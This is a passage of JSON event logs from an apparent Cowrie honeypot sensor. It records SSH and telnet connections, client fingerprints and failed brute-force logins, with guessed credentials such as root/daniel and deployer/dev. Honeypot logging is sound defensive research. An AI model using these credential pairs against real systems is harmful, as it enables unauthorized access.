om","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:43.844129Z","src_ip":"103.98.149.87","session":"2a001b5dffff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47118,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d4e32acb088","protocol":"telnet","message":"New connection: 152.42.224.71:47118 (10.17.0.5:23) [session: 9d4e32acb088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:44.566947Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"daniel","message":"login attempt [root/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:45.140280Z","src_ip":"103.98.149.87","session":"2a001b5dffff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:46.372452Z","src_ip":"103.98.149.87","session":"2a001b5dffff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.35292029380798,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:46.763412Z","src_ip":"152.42.224.71","session":"5b43470cd65f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":47498,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6e4e42e37ba","protocol":"ssh","message":"New connection: 43.153.54.120:47498 (159.203.135.109:22) [session: a6e4e42e37ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:46.896516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:46.901392Z","src_ip":"43.153.54.120","session":"a6e4e42e37ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:46.969380Z","src_ip":"43.153.54.120","session":"a6e4e42e37ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tanja123","message":"login attempt [root/tanja123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:47.271273Z","src_ip":"43.153.54.120","session":"a6e4e42e37ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:48.342589Z","src_ip":"43.153.54.120","session":"a6e4e42e37ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59010,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e2419557ab6","protocol":"telnet","message":"New connection: 152.42.224.71:59010 (10.17.0.5:23) [session: 8e2419557ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:49.388317Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":51210,"dst_ip":"159.203.135.109","dst_port":22,"session":"d975d0c277ea","protocol":"ssh","message":"New connection: 31.40.204.166:51210 (159.203.135.109:22) [session: d975d0c277ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:49.580922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:49.585854Z","src_ip":"31.40.204.166","session":"d975d0c277ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:49.719033Z","src_ip":"31.40.204.166","session":"d975d0c277ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:50.221135Z","src_ip":"31.40.204.166","session":"d975d0c277ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.11101841926575,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:51.225144Z","src_ip":"152.42.224.71","session":"328cd505b085","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:51.415154Z","src_ip":"31.40.204.166","session":"d975d0c277ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.95156502723694,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:52.325549Z","src_ip":"152.42.224.71","session":"41cd4e17e9a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45296,"dst_ip":"10.17.0.5","dst_port":23,"session":"86e1afc2d71c","protocol":"telnet","message":"New connection: 152.42.224.71:45296 (10.17.0.5:23) [session: 86e1afc2d71c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:57.507373Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45304,"dst_ip":"10.17.0.5","dst_port":23,"session":"63b923690562","protocol":"telnet","message":"New connection: 152.42.224.71:45304 (10.17.0.5:23) [session: 63b923690562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:00.117522Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45318,"dst_ip":"10.17.0.5","dst_port":23,"session":"08e1cbd95ba0","protocol":"telnet","message":"New connection: 152.42.224.71:45318 (10.17.0.5:23) [session: 08e1cbd95ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:00.286536Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37020,"dst_ip":"159.203.135.109","dst_port":22,"session":"8656e382780a","protocol":"ssh","message":"New connection: 31.40.204.166:37020 (159.203.135.109:22) [session: 8656e382780a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:01.581352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:01.589592Z","src_ip":"31.40.204.166","session":"8656e382780a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:01.713076Z","src_ip":"31.40.204.166","session":"8656e382780a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:02.385941Z","src_ip":"31.40.204.166","session":"8656e382780a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:03.515671Z","src_ip":"31.40.204.166","session":"8656e382780a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43074,"dst_ip":"10.17.0.5","dst_port":23,"session":"387762a917e1","protocol":"telnet","message":"New connection: 152.42.224.71:43074 (10.17.0.5:23) [session: 387762a917e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:06.196087Z"}
{"eventid":"cowrie.session.closed","duration":0.04996943473815918,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:06.245958Z","src_ip":"152.42.224.71","session":"387762a917e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.230.136.33","src_port":59036,"dst_ip":"159.203.135.109","dst_port":22,"session":"b40b4eea9d69","protocol":"ssh","message":"New connection: 94.230.136.33:59036 (159.203.135.109:22) [session: b40b4eea9d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:10.525307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:10.529220Z","src_ip":"94.230.136.33","session":"b40b4eea9d69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:10.673127Z","src_ip":"94.230.136.33","session":"b40b4eea9d69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"GBHalso98","message":"login attempt [root/GBHalso98] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:11.281525Z","src_ip":"94.230.136.33","session":"b40b4eea9d69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.41535139083862,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:11.652301Z","src_ip":"152.42.224.71","session":"5441002665fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:12.426379Z","src_ip":"94.230.136.33","session":"b40b4eea9d69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.64825439453125,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:13.320005Z","src_ip":"152.42.224.71","session":"a8b85001e7a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40012,"dst_ip":"159.203.135.109","dst_port":22,"session":"eaa810e77d06","protocol":"ssh","message":"New connection: 31.40.204.166:40012 (159.203.135.109:22) [session: eaa810e77d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:13.815201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:13.823246Z","src_ip":"31.40.204.166","session":"eaa810e77d06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:13.991882Z","src_ip":"31.40.204.166","session":"eaa810e77d06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"dev","message":"login attempt [deployer/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:14.830501Z","src_ip":"31.40.204.166","session":"eaa810e77d06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":42540,"dst_ip":"10.17.0.5","dst_port":22,"session":"f11af650b130","protocol":"ssh","message":"New connection: 38.93.206.2:42540 (10.17.0.5:22) [session: f11af650b130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:14.986140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:14.990431Z","src_ip":"38.93.206.2","session":"f11af650b130","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:15.043453Z","src_ip":"38.93.206.2","session":"f11af650b130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7894561230","message":"login attempt [root/7894561230] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:15.309181Z","src_ip":"38.93.206.2","session":"f11af650b130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:15.990023Z","src_ip":"31.40.204.166","session":"eaa810e77d06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:16.361723Z","src_ip":"38.93.206.2","session":"f11af650b130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.87810182571411,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:16.507358Z","src_ip":"152.42.224.71","session":"a6a69faaf496","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":104.48146104812622,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:22.717357Z","src_ip":"152.42.224.71","session":"2cdb666fbc29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.176612615585327,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:24.683879Z","src_ip":"152.42.224.71","session":"86e1afc2d71c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50332,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bb06054d2bc","protocol":"ssh","message":"New connection: 31.40.204.166:50332 (159.203.135.109:22) [session: 8bb06054d2bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:26.689577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:26.711571Z","src_ip":"31.40.204.166","session":"8bb06054d2bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@o